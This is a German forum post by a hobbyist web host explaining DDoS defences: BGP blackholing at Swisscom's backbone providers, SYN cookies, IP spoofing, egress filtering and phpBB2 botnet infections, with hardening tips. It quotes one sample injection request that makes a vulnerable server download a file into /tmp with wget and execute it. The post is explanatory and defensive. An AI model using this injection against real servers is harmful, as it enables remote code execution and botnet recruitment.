Blackholes werden bei angrenzenden ISP (Backbone Providers) eingerichtet. Die Swisscom kann per BGP (
Border Gateway Protocol) die Router hinter ihren Backbone Eingängen konfigurieren. Somit muss Swisscom nun nicht mehr ihre Bandbreiten Provider kontaktieren um eine IP Sperre einzurichten, dieses System funktioniert automatisch.
Grundsätzlich ist ein Blackhole im Netzwerk-Jargon ein Router welcher das Packet "leise Verwirft". Normalerweise würde der Router per
ICMP mitteilen, warum die Anfrage nicht erfolgreich war (keine Route, kein Service, etc.).
Professionelle Router sind fähig den Traffic auf mehreren Ebenen zu filtern. Somit können nicht nur simple IP Blockaden implementiert werden, sondern spezifische Filter erarbeitet werden. Dadurch kann der Router z.B. selektiv anhand des HTTP Requests, Cookies, User-Agent, URL, usw., den Traffic Blockieren (Droppen, Null-Routen). Solche Router sind nicht Billig, weshalb man für eine 100 MBit Backbone Leitung (ISPs wie die Swisscom haben mehrere Bandbreiten Provider) keinen Router kauft der für mehrere GBit ausgelegt ist (Kosten/Nutzenfrage). Jedoch benötigt die Filterung des Traffics nicht unerheblich CPU und Speicher, speziell wenn die Packete sehr genau inspiziert werden sollen. Deshalb ist es für die Swisscom von grossem Interesse, diese Filterung gleich bei ihren Backbone Providern durchzuführen. Ich denke das dies soweit geht, das nun z.B. der Backbone Provider (wie z.B.
switch) diese Filter in ihrem "internen" Netz (siehe link zu Switch) auf alle Router verteilt, welche Traffic von "aussen" bekommen. Dadurch kann sich die "Switch" sehr viel "internen" Traffic ersparen, und eine Leitung von Genf nach Zürich ist auch nicht gerade Billig. Ich kenne das BGP nicht genau, doch IMO sollte es machbar sein, diese Filter noch weiter, über die grenzen von Switch hinaus zu installieren (solange der Filter auf die spezifischen IP-Destination-Ranges des anfordenden ISP beschränkt werden, ansonten bestünde die Möglichkeit das Traffic bei anderen Kunden des Backbones falscherweise Blockiert würde). Die Filterung wird wohl jedoch kaum oft sehr weit gehen, da es wohl ab einer gewissen Stufe keinen Sinn mehr macht, wenn der Filter denn seine Wirkung tut. Sobald bei einem Router mit Filter die Belastung nicht zu gross ist, wird man sich kaum noch bemühen die Filterung weiter "nach hinten" zu verschieben.
QUOTE ... es gibt doch Firewalls oder Switches, die die Bandbreiten für den Verkehr zu einer bestimmten Domäne beschränken. Ein Beispiel: Ich besitze einen Internet-Anschluss und habe Bluewin-TV; beide Systeme hängen bei mir am gleichen Hub/Switch, haben jedoch unterschiedliche Bandbreiten.
Wie das Bandbreiten Management (QOS=Quality of Service) auf deiner Seite bei der Swisscom geschieht, weiss ich nicht. Eine einfache Lösung die mir einfallen würde, wäre eine Ausnahme im Traffic Shaping auf eine spezielle Ziel-IP (oder Range), von welcher aus die TV-Daten geliefert werden. Wenn ich das richtig verstanden habe, schliesst du die TV-Anlage ja per Ethernet/DHCP hinter den ADSL Router!?
QUOTE Bei gefälschten IP's würde das SYN-Handshake nicht mehr funktionieren, was dann den Speicher zum Überlauf bringen würde. Doch nehme ich an, dass man genau so die gespooften Adressen erkennen und danach eliminieren könnte.
Gespoofte IPs werden heute nur noch als Bandbreiten Verstopfer eingesetzt. Seit der Einführung von
SYN-Cookies benötigen halb offene Verbindungen keinen Speicher mehr. Beim Linux Kernel muss man dies jedoch explizit auswählen (Keine Ahnung wieso das nicht default mässig gesetzt ist). Beim
TCP-Handshake wird zuerst die SEQ (Sequence, als nummerischer Wert) übertragen, danach sendet der andere Host ACK=SEQ+1 (ACK="Antwort"
zurück. Früher hatten die Systeme eine SYN-Warteschlange. Der IP-Stack musste sich ja merken, welche Nummer er gesendet hatte, um zu überprüfen ob der Host auch genau ACK=SEQ+1 zurück gesendet hat. Mit
SYN-Cookies wird kryptographisch die initiale SEQ Nummer generiert. Wenn nun ein Host eine ACK Nummer zurück sendet, rechnet der IP-Stack diese minus eins und kann aus dem Wert verifizieren, das der Host von ihm initial kontaktiert wurde (also kein "
man in the middle" ist).
Bei TCP ist dies die einzige Konsequenz. Mit gespooften IP Adressen kann man keine URL auf einem Webserver aufrufen, da man nicht über den TCP-Handshake hinauskommt. Bei UDP Services (z.B. DNS) sieht dies etwas anders aus. Daten mit gespooften Adressen erleben über TCP nur den IP-Stack, UDP Packete werden jedoch ohne "Prüfung" an die Applikation weiter gereicht. Solche Attacken können sehr viel Ressourcen verbrauchender sein, da die Anfrage effektiv verabeitet und beantwortet wird. Jedoch gibt es nur noch sehr wenige "wichtige" Services per UDP.
Man benötigt zudem unter Linux root Rechte um auf IP-Stack Ebene Packete selber zu generieren (mit gefälschter Absender IP) und zu versenden. Ich hoffe das ist bei Windows genaus so (glaube bei
XP Home war es nicht so).
Dazu kommt, das schon einige (viele?) ISPs egress filter betreiben. Damit wird Traffic, der auf einem Port ihrer Router reinkommt, gedroppt, sollte er nicht mit einer IP versehen sein, die an diesem Port verbunden ist. Man kann damit also nur noch Packete mit einer absender IP-Adresse versenden, welche man auch wirklich per DHCP bezogen hat.
Bot-Netze werden sehr gerne auf Webservern installiert, auf denen ungepatchte Software läuft (bekanntes Beispiel phpBB2, Mambo, etc.). Mietet man sich Webspace, dann erwartet man auch php, perl, cgi, etc. (evtl. sogar ssh). Dazu gehört z.B. das man unter php auch eine "externe resource" downloaden kann. Es gibt ISPs die damit sehr restriktive Umgehen, jedoch benötigt das viel mehr administrativen Aufwand. Als Tipp kann ich dazu nur sagen, das man tmp Verzeichnisse immer nur "non-executable" mounten soll. Wenn Applikation ein tmp benötigen wo sie Dateien Ausführen können, muss man halt diese explizit erstellen und konfigurieren. Bei den phpBB2 hacks wurden meist per "URL Buffer Überlauf" Scripte ins tmp Verzeichniss geladen und ausgeführt. Diese haben wiederum ein Script heruntergeladen (zumeist ein veränderter
IRC client in Perl). Dieses Script verbindet sich mit dem Bot-Netz über IRC. Früher hatten einige einen expliziten Server per IP Adresse als IRC-Server im Code drin. Somit war es nicht ganz unmöglich diese Leute zu finden, wenn man Zugriff auf diesen einen Server bekam. Es ist allerdings nur eine Frage des programmiertechnischen Geschicks, wie weit man das ganze Verschleiern kann.
Bot-Netze vergrössern sich zumeist auch selbständig. Hier ist eine beliebte Methode das Scannen von IP-Subnetzten, welche ähnlich der eigenen öffentlichen IP sind, um nach allfällig default mässig installierten Applikation, welche einen Angriff zu lassen, zu suchen. Dabei wird ein präparierter request (z.B. h**p://host/phpBB2/dl.php?file='´wget url /tmp/bot && /tmp/bot´'
gesendet. Fals genau dort eine ungepatchte Version (ohne erweiterte Sicherheit beim tmp Verzeichniss) installiert ist, wird der Host ins Bot-Netz "assimiliert". Eine erweiterte Moglichkeit ist nach der "verwundbaren" PHP Datei via Google zu suchen, um gezielt die "möglichen Opfer" auszuwählen.
Als (begrenzter) Schutz kann die Firewall auch auf Ausgehende Verbindungen beschränkt werden. Dies bringt jedoch auch erhöhten administrativen Aufwand und kann umgangen werden. Normalerweise würde man, wenn man nicht alles Blockieren will was nach aussen geht (z.B. downloads), den Port 80 (Outgoing) für WWW Services auf machen. Ein intelligentes Bot-Netz kann sich dies jedoch zunutze machen, indem es selektiv nur Bot-Nodes alls Fallback-Server aussucht, auf denen noch kein Service auf Port 80 läuft.
Ich beschäftige mich schon etwas länger mit Linux und betreibe ein paar webserver (zuhause über cablecom, sowie zwei root-server in einem RZ). Ich hatte schon phpBB2 Hacks (Bot-Netz) oder DDOS (wegen falschkonfigurationen). Als Hosting Anbieter stelle ich die Möglichkeit für PHP Applikationen zur Verfügung, ich kann jedoch nicht kontrollieren, ob nun alle Kunden die neuesten Versionen installiert haben. Ich kann einzig auf den ausgehenden Traffic achten und auf die Prozessor- und Speicher-Auslastung. Solange dies im grünen Bereich ist, bin ich nicht beunruhigt. Ich checke dazu noch alle paar Wochen die Prozess-Liste, dadurch ist mir auch das mit dem phpBB2 Hack aufgefallen. Es hat mich als Admin also auch nicht ganz verschont; knapp 1 Woche habe auch ich meinen Server unfreiwillig zum Spammen zur Verfügung gestellt. Ich habe daraus jedoch meine lehren gezogen.
Ich glaube dass mit den beschriebenen Einstellungen heute 50% weniger Bots existieren würden. Es ist jedoch ein Katz- und Maus-Spiel. Man muss sich verdammt Gut informieren und es ist eine heiden Arbeit alles korrekt zu konfigurieren. Das Grundproblem sind die Sicherheitslücken in Betriebssystemen und zumeist (PHP) Web-Applikationen. Dadurch enstehen erst die gewaltigen Bot-Netze. Solange dieses Problem besteht, werden wohl auch die Probleme mit DDOS-Attacken nicht verschwinden.
Sorry, das ist jetzt wirklich etwas viel geworden; hoffe es ist verständlich genug um etwas Klahrheit zum Thema DDOS beizutragen.
Gruss, Maurice